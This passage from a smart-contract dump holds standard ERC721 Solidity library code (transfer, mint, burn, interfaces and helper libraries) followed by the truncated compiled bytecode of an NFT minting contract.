`from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061021a5760003560e01c806359a7715a1161012357806398b97c16116100ab578063cd3293de1161006f578063cd3293de146107c6578063e17a67b0146107dd578063e927fc5c146107f9578063e985e9c514610824578063f2fde38b146108615761021a565b806398b97c16146106e157806398d5fdca1461070c578063a22cb46514610737578063b88d4fde14610760578063c87b56dd146107895761021a565b8063835015aa116100f2578063835015aa1461062d578063853828b6146106585780638da5cb5b1461066257806391b7f5ed1461068d57806395d89b41146106b65761021a565b806359a7715a146105715780636352211e1461059c57806370a08231146105d9578063715018a6146106165761021a565b806318160ddd116101a657806342842e0e1161017557806342842e0e1461047a578063438b6300146104a35780634c8403a1146104e05780634f6ccce71461050b57806355f804b3146105485761021a565b806318160ddd146103be57806323b872dd146103e95780632f745c59146104125780633ad10ef61461044f5761021a565b8063081812fc116101ed578063081812fc146102d9578063095ea7b3146103165780630f7309e81461033f578063109695231461036a57806316c61ccc146103935761021a565b8063018a2c371461021f57806301ffc9a71461024857806302329a291461028557806306fdde03146102ae575b600080fd5b34801561022b57600080fd5b506102466004803603810190610241919061328a565b61088a565b005b34801561025457600080fd5b5061026f600480360381019061026a91906131f7565b610910565b60405161027c9190613d15565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a791906131ce565b61098a565b005b3480156102ba57600080fd5b506102c3610a23565b6040516102d09190613d30565b60405180910390f35b3480156102e557600080fd5b5061030060048036038101906102fb919061328a565b610ab5565b60405161030d9190613c8c565b60405180910390f35b34801561032257600080fd5b5061033d60048036038101906103389190613192565b610b3a565b005b34801561034b57600080fd5b50610354610c52565b6040516103619190613d30565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190613249565b610ce0565b005b34801561039f57600080fd5b506103a8610d76565b6040516103b59190613d15565b60405180910390f35b3480156103ca57600080fd5b506103d3610d89565b6040516103e09190614052565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b919061308c565b610d96565b005b34801561041e57600080fd5b5061043960048036038101906104349190613192565b610df6565b6040516104469190614052565b60405180910390f35b34801561045b57600080fd5b50610464610e9b565b6040516104719190613c8c565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c919061308c565b610eb3565b005b3480156104af57600080fd5b506104ca60048036038101906104c59190613027565b610ed3565b6040516104d79190613cf3565b60405180910390f35b3480156104ec57600080fd5b506104f5610fcd565b6040516105029190614052565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d919061328a565b610fd2565b60405161053f9190614052565b60405180910390f35b34801561055457600080fd5b5061056f600480360381019061056a9190613249565b611069565b005b34801561057d57600080fd5b506105866110ff565b6040516105939190614052565b60405180910390f35b3480156105a857600080fd5b506105c360048036038101906105be919061328a565b61110e565b6040516105d09190613c8c565b60405180910390f35b3480156105e557600080fd5b5061060060048036038101906105fb9190613027565b6111c0565b60405161060d9190614052565b60405180910390f35b34801561062257600080fd5b5061062b611278565b005b34801561063957600080fd5b50610642611300565b60405161064f9190614052565b60405180910390f35b610660611306565b005b34801561066e57600080fd5b5061067761143a565b6040516106849190613c8c565b60405180910390f35b34801561069957600080fd5b506106b460048036038101906106af919061328a565b611464565b005b3480156106c257600080fd5b506106cb6114ea565b6040516106d89190613d30565b60405180910390f35b3480156106ed57600080fd5b506106f661157c565b6040516107039190614052565b60405180910390f35b34801561071857600080fd5b50610721611582565b60405161072e9190614052565b60405180910390f35b34801561074357600080fd5b5061075e60048036038101906107599190613156565b61158c565b005b34801561076c57600080fd5b50610787600480360381019061078291906130db565b61170d565b005b34801561079557600080fd5b506107b060048036038101906107ab919061328a565b61176f565b6040516107bd9190613d30565b60405180910390f35b3480156107d257600080fd5b506107db611816565b005b6107f760048036038101906107f2919061328a565b6118d6565b005b34801561080557600080fd5b5061080e611b02565b60405161081b9190613c8c565b60405180910390f35b34801561083057600080fd5b5061084b60048036038101906108469190613050565b611b1a565b6040516108589190613d15565b60405180910390f35b34801561086d57600080fd5b5061088860048036038101906108839190613027565b611bae565b005b610892611ca6565b73ffffffffffffffffffffffffffffffffffffffff166108b061143a565b73ffffffffffffffffffffffffffffffffffffffff1614610906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fd90613ef2565b60405180910390fd5b80600e8190555050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610983575061098282611cae565b5b9050919050565b610992611ca6565b73ffffffffffffffffffffffffffffffffffffffff166109b061143a565b73ffffffffffffffffffffffffffffffffffffffff1614610a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fd90613ef2565b60405180910390fd5b80600f60006101000a81548160ff02191690831515021790555050565b606060008054610a3290614345565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5e90614345565b8015610aab5780601f10610a8057610100808354040283529160200191610aab565b820191906000526020600020905b815481529060010190602001808311610a8e57829003601f168201915b5050505050905090565b6000610ac082611d90565b610aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af690613ed2565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b458261110e565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad90613f72565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bd5611ca6565b73ffffffffffffffffffffffffffffffffffffffff161480610c045750610c0381610bfe611ca6565b611b1a565b5b610c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3a90613e52565b60405180910390fd5b610c4d8383611dfc565b505050565b600c8054610c5f90614345565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8b90614345565b8015610cd85780601f10610cad57610100808354040283529160200191610cd8565b820191906000526020600020905b815481529060010190602001808311610cbb57829003601f168201915b505050505081565b610ce8611ca6565b73ffffffffffffffffffffffffffffffffffffffff16610d0661143a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390613ef2565b60405180910390fd5b80600c9080519060200190610d72929190612e4b565b5050565b600f60009054906101000a900460ff1681565b6000600880549050905090565b610da7610da1611ca6565b82611eb5565b610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90613fb2565b60405180910390fd5b610df1838383611f93565b505050565b6000610e01836111c0565b8210610e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3990613d52565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b734238501696c0dcdce5e10788c61bb7aa06cefa0881565b610ece8383836040518060200160405280600081525061170d565b505050565b60606000610ee0836111c0565b905060008167ffffffffffffffff811115610f24577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610f525781602001602082028036833780820191505090505b50905060005b82811015610fc257610f6a8582610df6565b828281518110610fa3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250508080610fba90614377565b915050610f58565b508092505050919050565b601481565b6000610fdc610d89565b821061101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490613fd2565b60405180910390fd5b60088281548110611057577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b611071611ca6565b73ffffffffffffffffffffffffffffffffffffffff1661108f61143a565b73ffffffffffffffffffffffffffffffffffffffff16146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc90613ef2565b60405180910390fd5b80600b90805190602001906110fb929190612e4b565b5050565b60006111096121ef565b905090565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae90613e92565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611231576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122890613e72565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611280611ca6565b73ffffffffffffffffffffffffffffffffffffffff1661129e61143a565b73ffffffffffffffffffffffffffffffffffffffff16146112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90613ef2565b60405180910390fd5b6112fe60006121fe565b565b600e5481565b61130e611ca6565b73ffffffffffffffffffffffffffffffffffffffff1661132c61143a565b73ffffffffffffffffffffffffffffffffffffffff1614611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613ef2565b60405180910390fd5b600060024761139191906141d0565b90507398dcb966de86e5db06bed73a9bc497d96a6115b873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050506113e557600080fd5b734238501696c0dcdce5e10788c61bb7aa06cefa0873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505061143757600080fd5b50565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61146c611ca6565b73ffffffffffffffffffffffffffffffffffffffff1661148a61143a565b73ffffffffffffffffffffffffffffffffffffffff16146114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790613ef2565b60405180910390fd5b80600d8190555050565b6060600180546114f990614345565b80601f016020809104026020016040519081016040528092919081815260200182805461152590614345565b80156115725780601f1061154757610100808354040283529160200191611572565b820191906000526020600020905b81548152906001019060200180831161155557829003601f168201915b5050505050905090565b61271081565b6000600d54905090565b611594611ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990613df2565b60405180910390fd5b806005600061160f611ca6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166116bc611ca6565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516117019190613d15565b60405180910390a35050565b61171e611718611ca6565b83611eb5565b61175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175490613fb2565b60405180910390fd5b611769848484846122c4565b50505050565b606061177a82611d90565b6117b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b090613f32565b60405180910390fd5b60006117c3612320565b905060008151116117e3576040518060200160405280600081525061180e565b806117ed846123b2565b6040516020016117fe929190613c68565b6040516020818303038152906040525b915050919050565b61181e611ca6565b73ffffffffffffffffffffffffffffffffffffffff1661183c61143a565b73ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188990613ef2565b60405180910390fd5b600061189c6121ef565b905060005b60328110156118d2576118bf3382846118ba919061417a565b61255f565b80806118ca90614377565b9150506118a1565b5050565b60006118e06121ef565b9050600f60009054906101000a900460ff1615611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990614012565b60405180910390fd5b60008211611975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196c90613f52565b60405180910390fd5b60148211156119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090614032565b60405180910390fd5b6127108111156119fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f590613e32565b60405180910390fd5b6127108282611a0d919061417a565b10611a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4490613f92565b60405180910390fd5b81600d54611a5b9190614201565b341015611a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9490613ff2565b60405180910390fd5b60005b82811015611afd57611abd338284611ab8919061417a565b61255f565b817fcaca094b1c44c04849296e8802d910212c29ab7ca4f1c143df32cdd155921ce660405160405180910390a28080611af590614377565b915050611aa0565b505050565b7398dcb966de86e5db06bed73a9bc497d96a6115b881565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff